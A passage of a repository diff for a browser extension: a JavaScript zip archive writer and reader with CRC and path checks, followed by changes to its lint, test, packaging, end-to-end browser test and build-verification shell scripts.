const DOS_DATE = (0 << 9) | (1 << 5) | 1;
|
||||
const DOS_TIME = 0;
|
||||
|
||||
// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
|
||||
// by unix" convention puts it.
|
||||
// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
|
||||
const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
|
||||
const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
|
||||
const VERSION_NEEDED = 20;
|
||||
|
||||
// Without zip64 every size and offset is a u32.
|
||||
const MAX_U32 = 0xffffffff;
|
||||
|
||||
const CRC_TABLE = (() => {
|
||||
const table = new Int32Array(256);
|
||||
for (let i = 0; i < 256; i++) {
|
||||
let c = i;
|
||||
for (let k = 0; k < 8; k++) {
|
||||
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
|
||||
}
|
||||
table[i] = c;
|
||||
}
|
||||
return table;
|
||||
})();
|
||||
|
||||
// Written out rather than taken from zlib.crc32, which only exists from node
|
||||
// 22.2: this runs from script/ on whatever node the host has as well as inside
|
||||
// the pinned image, and a checksum that silently is not there is worse than
|
||||
// twelve lines.
|
||||
function crc32(buf) {
|
||||
let c = -1;
|
||||
for (let i = 0; i < buf.length; i++) {
|
||||
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
|
||||
}
|
||||
return (c ^ -1) >>> 0;
|
||||
}
|
||||
|
||||
// Member names are stored as raw bytes. Anything outside ASCII would need the
|
||||
// UTF-8 flag and interoperability care that nothing this repo emits requires,
|
||||
// so it is refused instead of guessed at.
|
||||
function encodeName(name) {
|
||||
if (typeof name !== "string" || name === "") {
|
||||
throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
|
||||
}
|
||||
const segments = name.split("/");
|
||||
if (
|
||||
name.startsWith("/") ||
|
||||
name.includes("\\") ||
|
||||
segments.some((s) => s === "" || s === "." || s === "..")
|
||||
) {
|
||||
throw new Error(
|
||||
`zip: refusing member name ${JSON.stringify(name)}: archive ` +
|
||||
`members must be relative paths under the archive root`,
|
||||
);
|
||||
}
|
||||
if (/[^\x20-\x7e]/.test(name)) {
|
||||
throw new Error(
|
||||
`zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
|
||||
);
|
||||
}
|
||||
return Buffer.from(name, "ascii");
|
||||
}
|
||||
|
||||
function compress(data) {
|
||||
if (data.length === 0) {
|
||||
return { method: METHOD_STORE, body: data };
|
||||
}
|
||||
const deflated = zlib.deflateRawSync(data, { level: 9 });
|
||||
if (deflated.length >= data.length) {
|
||||
return { method: METHOD_STORE, body: data };
|
||||
}
|
||||
return { method: METHOD_DEFLATE, body: deflated };
|
||||
}
|
||||
|
||||
// entries: [{ name, data }]. Returns the archive as a Buffer.
|
||||
function writeZip(entries) {
|
||||
if (!Array.isArray(entries) || entries.length === 0) {
|
||||
throw new Error("zip: refusing to write an archive with no members");
|
||||
}
|
||||
|
||||
const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
|
||||
const seen = new Set();
|
||||
const locals = [];
|
||||
const centrals = [];
|
||||
let offset = 0;
|
||||
|
||||
for (const entry of sorted) {
|
||||
const name = encodeName(entry.name);
|
||||
if (seen.has(entry.name)) {
|
||||
throw new Error(`zip: duplicate member ${entry.name}`);
|
||||
}
|
||||
seen.add(entry.name);
|
||||
|
||||
const data = Buffer.from(entry.data);
|
||||
const { method, body } = compress(data);
|
||||
if (data.length > MAX_U32 || body.length > MAX_U32) {
|
||||
throw new Error(
|
||||
`zip: ${entry.name} is too large for a non-zip64 archive`,
|
||||
);
|
||||
}
|
||||
const crc = crc32(data);
|
||||
|
||||
const local = Buffer.alloc(30 + name.length);
|
||||
local.writeUInt32LE(LOCAL_SIG, 0);
|
||||
local.writeUInt16LE(VERSION_NEEDED, 4);
|
||||
local.writeUInt16LE(0, 6);
|
||||
local.writeUInt16LE(method, 8);
|
||||
local.writeUInt16LE(DOS_TIME, 10);
|
||||
local.writeUInt16LE(DOS_DATE, 12);
|
||||
local.writeUInt32LE(crc, 14);
|
||||
local.writeUInt32LE(body.length, 18);
|
||||
local.writeUInt32LE(data.length, 22);
|
||||
local.writeUInt16LE(name.length, 26);
|
||||
local.writeUInt16LE(0, 28);
|
||||
name.copy(local, 30);
|
||||
|
||||
const central = Buffer.alloc(46 + name.length);
|
||||
central.writeUInt32LE(CENTRAL_SIG, 0);
|
||||
central.writeUInt16LE(VERSION_MADE_BY, 4);
|
||||
central.writeUInt16LE(VERSION_NEEDED, 6);
|
||||
central.writeUInt16LE(0, 8);
|
||||
central.writeUInt16LE(method, 10);
|
||||
central.writeUInt16LE(DOS_TIME, 12);
|
||||
central.writeUInt16LE(DOS_DATE, 14);
|
||||
central.writeUInt32LE(crc, 16);
|
||||
central.writeUInt32LE(body.length, 20);
|
||||
central.writeUInt32LE(data.length, 24);
|
||||
central.writeUInt16LE(name.length, 28);
|
||||
central.writeUInt16LE(0, 30);
|
||||
central.writeUInt16LE(0, 32);
|
||||
central.writeUInt16LE(0, 34);
|
||||
central.writeUInt16LE(0, 36);
|
||||
central.writeUInt32LE(EXTERNAL_ATTRS, 38);
|
||||
if (offset > MAX_U32) {
|
||||
throw new Error("zip: archive too large for a non-zip64 archive");
|
||||
}
|
||||
central.writeUInt32LE(offset, 42);
|
||||
name.copy(central, 46);
|
||||
|
||||
locals.push(local, body);
|
||||
centrals.push(central);
|
||||
offset += local.length + body.length;
|
||||
}
|
||||
|
||||
const centralBuf = Buffer.concat(centrals);
|
||||
const eocd = Buffer.alloc(22);
|
||||
eocd.writeUInt32LE(EOCD_SIG, 0);
|
||||
eocd.writeUInt16LE(0, 4);
|
||||
eocd.writeUInt16LE(0, 6);
|
||||
eocd.writeUInt16LE(sorted.length, 8);
|
||||
eocd.writeUInt16LE(sorted.length, 10);
|
||||
eocd.writeUInt32LE(centralBuf.length, 12);
|
||||
eocd.writeUInt32LE(offset, 16);
|
||||
eocd.writeUInt16LE(0, 20);
|
||||
|
||||
return Buffer.concat([...locals, centralBuf, eocd]);
|
||||
}
|
||||
|
||||
// Read an archive back into [{ name, data }], from the central directory
|
||||
// rather than by scanning for local headers: the central directory is the
|
||||
// authoritative index, and a member reachable only by scanning is one a real
|
||||
// unzipper would not extract.
|
||||
//
|
||||
// Every member's CRC is checked. The point of reading an archive back is to
|
||||
// establish that it holds what it was meant to hold, so a member that does not
|
||||
// decompress to its recorded checksum is a failure and never a warning.
|
||||
function readZip(buf) {
|
||||
if (buf.length < 22) {
|
||||
throw new Error("zip: too short to be an archive");
|
||||
}
|
||||
// No archive this writes has a trailing comment, so the EOCD is the last
|
||||
// 22 bytes. Anything else is not an archive this produced.
|
||||
const eocdAt = buf.length - 22;
|
||||
if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
|
||||
throw new Error(
|
||||
"zip: no end-of-central-directory record at the end of the " +
|
||||
"archive (a trailing comment, or not a zip at all)",
|
||||
);
|
||||
}
|
||||
const count = buf.readUInt16LE(eocdAt + 10);
|
||||
const centralSize = buf.readUInt32LE(eocdAt + 12);
|
||||
let at = buf.readUInt32LE(eocdAt + 16);
|
||||
if (at + centralSize > eocdAt) {
|
||||
throw new Error("zip: central directory runs past the archive");
|
||||
}
|
||||
|
||||
const out = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
|
||||
throw new Error(`zip: bad central directory entry ${i}`);
|
||||
}
|
||||
const method = buf.readUInt16LE(at + 10);
|
||||
const crc = buf.readUInt32LE(at + 16);
|
||||
const compSize = buf.readUInt32LE(at + 20);
|
||||
const rawSize = buf.readUInt32LE(at + 24);
|
||||
const nameLen = buf.readUInt16LE(at + 28);
|
||||
const extraLen = buf.readUInt16LE(at + 30);
|
||||
const commentLen = buf.readUInt16LE(at + 32);
|
||||
const localAt = buf.readUInt32LE(at + 42);
|
||||
const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
|
||||
at += 46 + nameLen + extraLen + commentLen;
|
||||
|
||||
if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
|
||||
throw new Error(`zip: ${name} has no local header`);
|
||||
}
|
||||
// The local header's own name and extra lengths, not the central
|
||||
// directory's: the two are allowed to differ and the data starts after
|
||||
// the local ones.
|
||||
const localNameLen = buf.readUInt16LE(localAt + 26);
|
||||
const localExtraLen = buf.readUInt16LE(localAt + 28);
|
||||
const dataAt = localAt + 30 + localNameLen + localExtraLen;
|
||||
const body = buf.subarray(dataAt, dataAt + compSize);
|
||||
|
||||
let data;
|
||||
if (method === METHOD_STORE) {
|
||||
data = Buffer.from(body);
|
||||
} else if (method === METHOD_DEFLATE) {
|
||||
data = zlib.inflateRawSync(body);
|
||||
} else {
|
||||
throw new Error(`zip: ${name} uses compression method ${method}`);
|
||||
}
|
||||
|
||||
if (data.length !== rawSize) {
|
||||
throw new Error(
|
||||
`zip: ${name} decompressed to ${data.length} bytes, not the ` +
|
||||
`recorded ${rawSize}`,
|
||||
);
|
||||
}
|
||||
if (crc32(data) !== crc) {
|
||||
throw new Error(`zip: ${name} fails its recorded CRC32`);
|
||||
}
|
||||
out.push({ name, data });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
module.exports = { crc32, readZip, writeZip };
|
||||
44
script/lint
44
script/lint
@@ -1,51 +1,13 @@
|
||||
#!/bin/sh
|
||||
# script/lint: run the linter (eslint, then prettier --check).
|
||||
#
|
||||
# Linting is containerized. ESLint results depend on the ESLint version, and
|
||||
# the pinned one is the one in the image; a host's own install must not be
|
||||
# able to decide whether this repo is green. From a host this therefore builds
|
||||
# the Dockerfile's `lint` stage, which runs this same script inside the image.
|
||||
#
|
||||
# AUTISTMASK_LINT_NATIVE is set only in that image (see the Dockerfile) and is
|
||||
# what stops the recursion, so `make check` inside the CI build lints in place
|
||||
# instead of trying to reach a docker daemon it does not have.
|
||||
# script/lint: run the linter.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
case "${AUTISTMASK_LINT_NATIVE:-}" in
|
||||
1)
|
||||
echo "Linting..."
|
||||
yarn run lint 2>&1
|
||||
return 0
|
||||
;;
|
||||
"") ;;
|
||||
*)
|
||||
# Set but not recognized: say so rather than silently taking the
|
||||
# docker path, which would look like the variable had no effect.
|
||||
echo "lint: AUTISTMASK_LINT_NATIVE is set to" \
|
||||
"'${AUTISTMASK_LINT_NATIVE}'; the only recognized value is 1" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if ! command -v docker >/dev/null 2>&1; then
|
||||
echo "lint: docker is required; linting does not run on the host" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Linting in the pinned container..."
|
||||
# --progress=plain: the default progress renderer collapses the lint
|
||||
# output on success, and a lint run whose output cannot be seen is not
|
||||
# evidence that it ran.
|
||||
#
|
||||
# --output=type=cacheonly: the exit status is the whole result; exporting
|
||||
# an image afterwards costs about ten times the lint itself.
|
||||
docker build --progress=plain --target lint \
|
||||
--output=type=cacheonly . 2>&1
|
||||
echo "Linting..."
|
||||
yarn run lint 2>&1
|
||||
}
|
||||
|
||||
main "$@"
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/package: produce the release artifacts — one self-contained,
|
||||
# versioned archive per browser — into release/. Our own extension to
|
||||
# scripts-to-rule-them-all.
|
||||
#
|
||||
# It builds first, through `make build` rather than by calling build.js
|
||||
# itself. That target is the only audited path to a release build: it creates
|
||||
# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
|
||||
# verifier's environment, tells script/verify-build in so many words to expect
|
||||
# a RELEASE build, and re-runs script/check-censored against dist/.
|
||||
# script/test-verify-build asserts that wiring by reading the recipe back out
|
||||
# of `make -n`. Re-implementing that sequence here would give the release
|
||||
# artifacts a second, unaudited path to dist/ — and it is the release
|
||||
# artifacts, above everything else, that must never be built from a debug
|
||||
# compile.
|
||||
#
|
||||
# This packages, it does not publish. Tagging, CRX packing and any upload are
|
||||
# outward-facing acts and are nobody's job but the owner's.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if ! command -v make >/dev/null 2>&1; then
|
||||
echo "package: make is required (the release build runs through" \
|
||||
"make build)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
make build
|
||||
|
||||
echo "Packaging release artifacts..."
|
||||
node script/lib/package.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
44
script/test
44
script/test
@@ -1,49 +1,19 @@
|
||||
#!/bin/sh
|
||||
# script/test: run the test suite.
|
||||
#
|
||||
# The timeout bounds a hung suite; it is not a performance budget. On a
|
||||
# developer host the suite finishes in about 8s and REPO_POLICIES' 30s cap is
|
||||
# the bound. Inside the image the same suite also pays a cold jest cache and
|
||||
# shares the runner with the rest of the build, which is not what that budget
|
||||
# describes, so the Dockerfile raises the bound through
|
||||
# AUTISTMASK_TEST_TIMEOUT. A cap a healthy suite can trip on a cold cache
|
||||
# produces a red that means nothing, and teaches "just run it again".
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
TIMEOUT="${AUTISTMASK_TEST_TIMEOUT:-30}"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
echo "Running tests (timeout ${TIMEOUT}s)..."
|
||||
|
||||
status=0
|
||||
timeout "$TIMEOUT" yarn run test 2>&1 || status=$?
|
||||
[ "$status" -eq 0 ] && return 0
|
||||
|
||||
# 124 is timeout(1) killing the suite. Say so: a kill is not a failed
|
||||
# assertion, and the verbose rerun would only spend the same wall clock
|
||||
# to be killed again.
|
||||
if [ "$status" -eq 124 ]; then
|
||||
echo "tests: TIMED OUT after ${TIMEOUT}s (no assertion failed)" >&2
|
||||
echo "tests: raise AUTISTMASK_TEST_TIMEOUT if the suite is healthy" >&2
|
||||
echo "Running tests..."
|
||||
timeout 30 yarn run test 2>&1 || {
|
||||
echo "--- Rerunning with --verbose for details ---"
|
||||
timeout 30 yarn run test:verbose 2>&1 || true
|
||||
# Always fail: the first run already proved the tests are broken, so a
|
||||
# flaky pass on the rerun must not turn the build green.
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 125 is timeout(1) itself failing, which here means AUTISTMASK_TEST_TIMEOUT
|
||||
# is not a duration it accepts. The suite never ran, so it neither timed out
|
||||
# nor failed, and the verbose rerun would only reprint the same complaint.
|
||||
if [ "$status" -eq 125 ]; then
|
||||
echo "tests: DID NOT RUN: timeout(1) rejected AUTISTMASK_TEST_TIMEOUT=\"${TIMEOUT}\"" >&2
|
||||
echo "tests: set it to a duration such as 30 or 180 (see timeout(1))" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "--- Rerunning with --verbose for details ---"
|
||||
timeout "$TIMEOUT" yarn run test:verbose 2>&1 || true
|
||||
# Always fail: the first run already proved the tests are broken, so a
|
||||
# flaky pass on the rerun must not turn the build green.
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
main "$@"
|
||||
|
||||
@@ -5,32 +5,19 @@
|
||||
#
|
||||
# Deliberately NOT called by script/check or script/test: REPO_POLICIES.md
|
||||
# caps make test at 20 seconds and a browser suite does not fit. Run it
|
||||
# yourself before touching popup views. ESLint's no-undef now catches a
|
||||
# used-but-not-imported identifier in make check, but only this suite sees
|
||||
# what a view actually does when it runs.
|
||||
# .gitea/workflows/e2e.yml also runs it on every push, in a job separate
|
||||
# from check so that cap and the local fast path both stay intact.
|
||||
#
|
||||
# Docker is the only prerequisite. The repo reaches the container as a
|
||||
# build context and the extension is built inside it (see
|
||||
# tests/e2e/Dockerfile), so nothing here depends on the node, yarn or make
|
||||
# on the machine that starts the run. That is not a convenience: a bind
|
||||
# mount cannot work under Gitea Actions, and the runner image's node is too
|
||||
# old to install this repo's dependencies.
|
||||
# yourself before touching popup views; it is the only check that can see
|
||||
# a used-but-not-imported identifier blow up at runtime.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-chrome"
|
||||
|
||||
IIDFILE=""
|
||||
|
||||
cleanup() {
|
||||
if [ -n "$IIDFILE" ]; then
|
||||
rm -f "$IIDFILE"
|
||||
fi
|
||||
}
|
||||
# mcr.microsoft.com/playwright:v1.56.0-noble, 2026-08-09
|
||||
#
|
||||
# The playwright-core devDependency is pinned to the matching Playwright
|
||||
# version (1.56.0) and the two must be bumped together: the browsers ship
|
||||
# inside this image, and playwright-core looks for the exact browser
|
||||
# revision its own version expects. A mismatch fails at launch.
|
||||
IMAGE="mcr.microsoft.com/playwright@sha256:35246d87a7c88ea9b771c65d33171b2611b02a8253b4b12ce6f94376c55f99f2"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
@@ -40,31 +27,22 @@ main() {
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IIDFILE="$(mktemp)"
|
||||
trap cleanup EXIT
|
||||
trap 'cleanup; exit 130' INT TERM
|
||||
|
||||
echo "Building the Chrome e2e image (extension included)..."
|
||||
docker build --iidfile "$IIDFILE" -t "$IMAGE" -f tests/e2e/Dockerfile .
|
||||
echo "Building extension for e2e..."
|
||||
yarn run build 2>&1
|
||||
|
||||
echo "Running e2e suite in the pinned Playwright container..."
|
||||
# The image is run by ID, not by tag: where two clones of this repo run
|
||||
# the suite at once, the other build can move the tag between this
|
||||
# build and this run, and the suite would then silently test the other
|
||||
# checkout.
|
||||
#
|
||||
# --ipc=host: Chromium's shared-memory needs more than the default
|
||||
# 64MB /dev/shm or renderers crash.
|
||||
# HOME=/tmp: the image's root home is not a reliable place for the
|
||||
# browser profile.
|
||||
# --user: keep files the suite touches owned by the caller, not root.
|
||||
# HOME=/tmp: the mapped uid has no home directory in the image.
|
||||
# PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1: without it,
|
||||
# ctx.route() intercepts page requests only, and every fetch made by
|
||||
# the MV3 background service worker — the JSON-RPC calls behind
|
||||
# every approval the suite drives among them — goes to the real
|
||||
# internet. The flag is experimental and Playwright may drop or
|
||||
# rename it. It cannot break silently: the harness asks the worker
|
||||
# for one request of its own at launch and aborts the whole suite
|
||||
# if it does not reach the route handler (see the interception
|
||||
# the MV3 background service worker — including the phishing
|
||||
# blocklist fetch that src/background/index.js issues at worker
|
||||
# startup — goes to the real internet. The flag is experimental and
|
||||
# Playwright may drop or rename it. It cannot break silently: the
|
||||
# harness probes service-worker interception at launch and aborts
|
||||
# the whole suite if it is not in effect (see the interception
|
||||
# canary in tests/e2e/harness.js). If a future Playwright removes
|
||||
# the flag, that probe is what will fail, and the fix is either a
|
||||
# replacement mechanism or an honest downgrade of the isolation
|
||||
@@ -73,27 +51,14 @@ main() {
|
||||
# on a deliberate bump.
|
||||
docker run --rm \
|
||||
--ipc=host \
|
||||
--user "$(id -u):$(id -g)" \
|
||||
-e HOME=/tmp \
|
||||
-e PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS=1 \
|
||||
-e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
|
||||
"$(cat "$IIDFILE")" \
|
||||
-v "$ROOT:/work" \
|
||||
-w /work \
|
||||
"$IMAGE" \
|
||||
node tests/e2e/run.js
|
||||
|
||||
# Where chrome.storage.local lives, and what moves it: two unpacked loads
|
||||
# from two different paths in one profile, with the shipped manifest and
|
||||
# again with `key` stripped out. Its own browser sessions — four of them —
|
||||
# because the whole subject is what happens ACROSS loads, which the suite
|
||||
# above cannot express with one.
|
||||
#
|
||||
# No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
|
||||
# RPC and installs no route handlers, and the browser is started with
|
||||
# --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
|
||||
echo "Running the extension-id and storage-partition observations..."
|
||||
docker run --rm \
|
||||
--ipc=host \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/storagePartition.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/test-e2e-firefox: build the extension and drive the real popup in
|
||||
# a real Firefox inside a pinned container. The Firefox counterpart to
|
||||
# script/test-e2e. Our own extension to scripts-to-rule-them-all.
|
||||
#
|
||||
# Deliberately NOT called by script/check or script/test, for the same
|
||||
# reason as the Chrome suite: REPO_POLICIES.md caps make test at 20 seconds
|
||||
# and a browser suite does not fit. .gitea/workflows/e2e.yml also runs it
|
||||
# on every push, in a job separate from check.
|
||||
#
|
||||
# Unlike script/test-e2e this builds its base image locally, because no
|
||||
# published image carries both a pinned Firefox and a matching geckodriver.
|
||||
# All three external artifacts are pinned by digest inside the Dockerfile;
|
||||
# see tests/e2e/firefox/Dockerfile, which also explains why the repo and
|
||||
# the extension build are baked into the image rather than mounted.
|
||||
#
|
||||
# Docker is the only prerequisite: nothing here depends on the node, yarn
|
||||
# or make on the machine that starts the run.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
|
||||
|
||||
IMAGE="$("$SCRIPT_DIR/projectname")-e2e-firefox"
|
||||
|
||||
IIDFILE=""
|
||||
|
||||
cleanup() {
|
||||
if [ -n "$IIDFILE" ]; then
|
||||
rm -f "$IIDFILE"
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if ! command -v docker >/dev/null 2>&1; then
|
||||
echo "test-e2e-firefox: docker is required to run the e2e suite" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IIDFILE="$(mktemp)"
|
||||
trap cleanup EXIT
|
||||
trap 'cleanup; exit 130' INT TERM
|
||||
|
||||
echo "Building the pinned Firefox e2e image (extension included)..."
|
||||
docker build --iidfile "$IIDFILE" -t "$IMAGE" \
|
||||
-f tests/e2e/firefox/Dockerfile .
|
||||
|
||||
echo "Running the Firefox e2e suite..."
|
||||
# The image is run by ID, not by tag: where two clones of this repo run
|
||||
# the suite at once, the other build can move the tag between this
|
||||
# build and this run, and the suite would then silently test the other
|
||||
# checkout.
|
||||
#
|
||||
# --shm-size=1g: Firefox needs more than the default 64MB /dev/shm.
|
||||
# --network none: the suite stubs nothing, so this is what keeps the
|
||||
# run offline and deterministic. The extension swallows its own
|
||||
# fetch failures, so the popup flows work unchanged; see the
|
||||
# network note in README.md. Weaker than the Chrome suite's
|
||||
# fixture interception, and honestly so — it proves no request
|
||||
# escaped, but it cannot report which ones were attempted.
|
||||
# HOME=/tmp: the image's root home is not a reliable place for the
|
||||
# browser profile.
|
||||
#
|
||||
# No --privileged. Firefox's sandbox logs
|
||||
# "CanCreateUserNamespace() clone() failure: EPERM" on startup here;
|
||||
# it is cosmetic and headless Firefox runs fine without it.
|
||||
docker run --rm \
|
||||
--shm-size=1g \
|
||||
--network none \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/firefox/run.js dist/firefox
|
||||
|
||||
# The install/uninstall/re-install property, against the packaged XPI
|
||||
# rather than the unpacked directory: it is the artifact a user would be
|
||||
# handed, and this is the only place a real Firefox is asked to load it.
|
||||
# Its own browser session, because it takes the add-on away in the middle
|
||||
# and the suite above shares one session throughout.
|
||||
echo "Running the Firefox re-install suite against the packaged XPI..."
|
||||
docker run --rm \
|
||||
--shm-size=1g \
|
||||
--network none \
|
||||
-e HOME=/tmp \
|
||||
"$(cat "$IIDFILE")" \
|
||||
node tests/e2e/firefox/reinstall.js
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,16 +1,13 @@
|
||||
#!/bin/sh
|
||||
# script/test-verify-build: exercise every failure mode of
|
||||
# script/verify-build, and what make build does with dist/ after one of them
|
||||
# (script/discard-dist-on-failure). Our own extension to
|
||||
# scripts-to-rule-them-all, run from script/check so make check covers it.
|
||||
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
|
||||
# from script/check so make check covers it.
|
||||
#
|
||||
# Why this exists: verify-build is the build-integrity guard, and four separate
|
||||
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
||||
# the discarded find status, the line-delimited walk, and then the two the
|
||||
# receipt replaced: an expectation read out of the verifier's own environment,
|
||||
# and a file list read back out of the tree it was supposed to vouch for. Every
|
||||
# one was caught by someone building a tree by hand, because nothing in make
|
||||
# check could catch it. This is that hand battery, committed and automated.
|
||||
# Why this exists: verify-build is the build-integrity guard, and three
|
||||
# separate reviews of it each found a fresh vacuous pass — the grep exit-2
|
||||
# conflation, the discarded find status, the line-delimited walk. Every one
|
||||
# was caught by someone building a tree by hand, because nothing in make check
|
||||
# could catch it. This is that hand battery, committed and automated.
|
||||
#
|
||||
# Each case asserts the exit status AND a substring of the message. A guard
|
||||
# that fails for the wrong reason (right status, different fault) is itself a
|
||||
@@ -20,25 +17,15 @@
|
||||
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
||||
# operates on the fixture's dist/ and never reads or writes the repo's build
|
||||
# output. The symlink rather than a copy is what makes a deliberate break in
|
||||
# the real script fail here. The fixture's receipt is written from the bytes
|
||||
# the fixture actually holds, exactly as a build writes one from the bytes it
|
||||
# emitted; a case that means "the build emitted this" regenerates it, and a
|
||||
# case that means "something changed dist/ afterwards" does not.
|
||||
#
|
||||
# The sha256 command is selected here independently of the one verify-build
|
||||
# picks. That is deliberate: a harness that reused the implementation's helper
|
||||
# would agree with it even when it is wrong.
|
||||
# the real script fail here.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
VERIFY_BUILD="$ROOT/script/verify-build"
|
||||
DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
|
||||
|
||||
MARKER_ON="autistmask-build-debug=on"
|
||||
MARKER_OFF="autistmask-build-debug=off"
|
||||
|
||||
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||
|
||||
NEWLINE='
|
||||
'
|
||||
|
||||
@@ -54,9 +41,6 @@ UNPRIV=""
|
||||
PERM_ENABLED=no
|
||||
PERM_HOW=""
|
||||
|
||||
# The sha256 command, chosen by pick_sha256_tool.
|
||||
SHA256_CMD=""
|
||||
|
||||
WORK=""
|
||||
|
||||
cleanup() {
|
||||
@@ -70,10 +54,6 @@ trap cleanup EXIT INT TERM
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
||||
FIXTURE="$WORK/fixture"
|
||||
|
||||
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
||||
# outside the fixture altogether — because that is where a real one lives.
|
||||
RECEIPT="$WORK/receipt"
|
||||
|
||||
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
||||
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
||||
# unprivileged user the permission cases run as.
|
||||
@@ -85,74 +65,21 @@ chmod 755 "$WORK"
|
||||
|
||||
# --- fixture ---------------------------------------------------------------
|
||||
|
||||
# The emitted tree a build of this repo produces in miniature: audited bundles
|
||||
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
||||
# including the content script, which runs on every page, and the manifest,
|
||||
# neither of which the pre-receipt verifier read at all.
|
||||
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
||||
A dist/firefox/src/popup/index.js
|
||||
P dist/chrome/src/content/index.js
|
||||
P dist/chrome/manifest.json
|
||||
P dist/styles.css"
|
||||
|
||||
FIXTURE_REAL=""
|
||||
|
||||
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
||||
# is all verify-build reads out of the real thing beyond its digest.
|
||||
# is all verify-build reads out of the real thing.
|
||||
write_bundle() {
|
||||
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
||||
}
|
||||
|
||||
# Digest of $1, taken with the harness's own sha256 command.
|
||||
fixture_sha256() {
|
||||
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
||||
# shellcheck disable=SC2086
|
||||
_fs_out="$($SHA256_CMD "$1")"
|
||||
printf '%s' "${_fs_out%% *}"
|
||||
}
|
||||
|
||||
# Write the fixture's receipt, with a substitutable header and root line so the
|
||||
# cases can hand verify-build a receipt that is not one.
|
||||
write_receipt_custom() {
|
||||
_wrc_header="$1"
|
||||
_wrc_root="$2"
|
||||
|
||||
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
||||
rm -f "$RECEIPT"
|
||||
|
||||
(
|
||||
cd "$FIXTURE"
|
||||
printf '%s\n' "$_wrc_header"
|
||||
printf 'root %s\n' "$_wrc_root"
|
||||
_saved_ifs="$IFS"
|
||||
IFS="$NEWLINE"
|
||||
for _entry in $FIXTURE_FILES; do
|
||||
IFS="$_saved_ifs"
|
||||
_flag="${_entry%% *}"
|
||||
_path="${_entry#* }"
|
||||
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
||||
"$_flag" "$_path"
|
||||
IFS="$NEWLINE"
|
||||
done
|
||||
IFS="$_saved_ifs"
|
||||
) >"$RECEIPT"
|
||||
|
||||
# Readable by the unprivileged user the permission cases run as, whatever
|
||||
# umask this process has, until a case takes that away on purpose.
|
||||
chmod 644 "$RECEIPT"
|
||||
}
|
||||
|
||||
write_receipt() {
